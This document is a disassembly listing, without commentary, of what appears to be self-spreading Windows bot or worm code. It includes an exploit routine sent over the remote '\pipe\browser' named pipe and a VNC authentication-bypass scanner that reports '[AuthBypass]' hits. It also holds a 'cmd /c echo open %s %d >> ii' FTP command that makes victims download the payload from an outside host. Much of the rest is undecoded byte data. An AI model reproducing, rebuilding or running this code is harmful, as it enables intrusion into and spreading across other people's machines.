59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 0A6h ; ╕ db 0DFh ; ъ db 0 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 0A7h ; ╖ db 0DBh ; ш db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 28h ; ( db 0D1h ; я db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 44h ; D db 8Dh ; █ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 271092Ch cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 2700000h nop test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 2670858h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2710000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 2670858h push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 2700923h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2710000h test eax, eax jnz short loc_40DE4F nop call near ptr 2690DCCh cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] call near ptr 26A060Ah nop cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 0D6h ; ж db 0D6h ; ж db 0 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 0E8h ; Х db 2Ch ; , db 34h ; 4 db 6Ah ; j db 71h ; q db 90h ; ░ db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 90h ; ░ db 0E8h ; Х db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 0E8h ; Х db 38h ; 8 db 5Dh ; ] db 6Ah ; j db 71h ; q db 90h ; ░ db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 8 db 91h ; ▒ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ╟ db 0ACh ; ╛ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0DFh ; ъ db 0CCh ; л db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 38h ; 8 db 0DAh ; з db 0 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 87h ; ┤ db 0D0h ; п db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 8Bh ; ▀ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 90h ; ░ db 0E8h ; Х db 0E7h ; Г db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 0E8000007h, 2282428h, 0FB834390h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j call near ptr 71AB1A6Dh nop loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 nop call near ptr 2700000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 nop call near ptr 2710000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 311F12E8h, 0FF509002h, 4CDCA835h, 1F05E800h, 50900231h dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 25CAE857h, 8D900226h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 281DF3E8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1DDAE890h, 0FF6A0228h, 0FFF04589h, 8FE8D875h, 9002291Fh dd 0F075FF57h, 2925B7E8h, 0FF579002h, 0E890EC75h, 22925ACh dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 34E8D875h, 90023025h dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Eh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 0E8565959h, 22E1770h, 57056A90h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 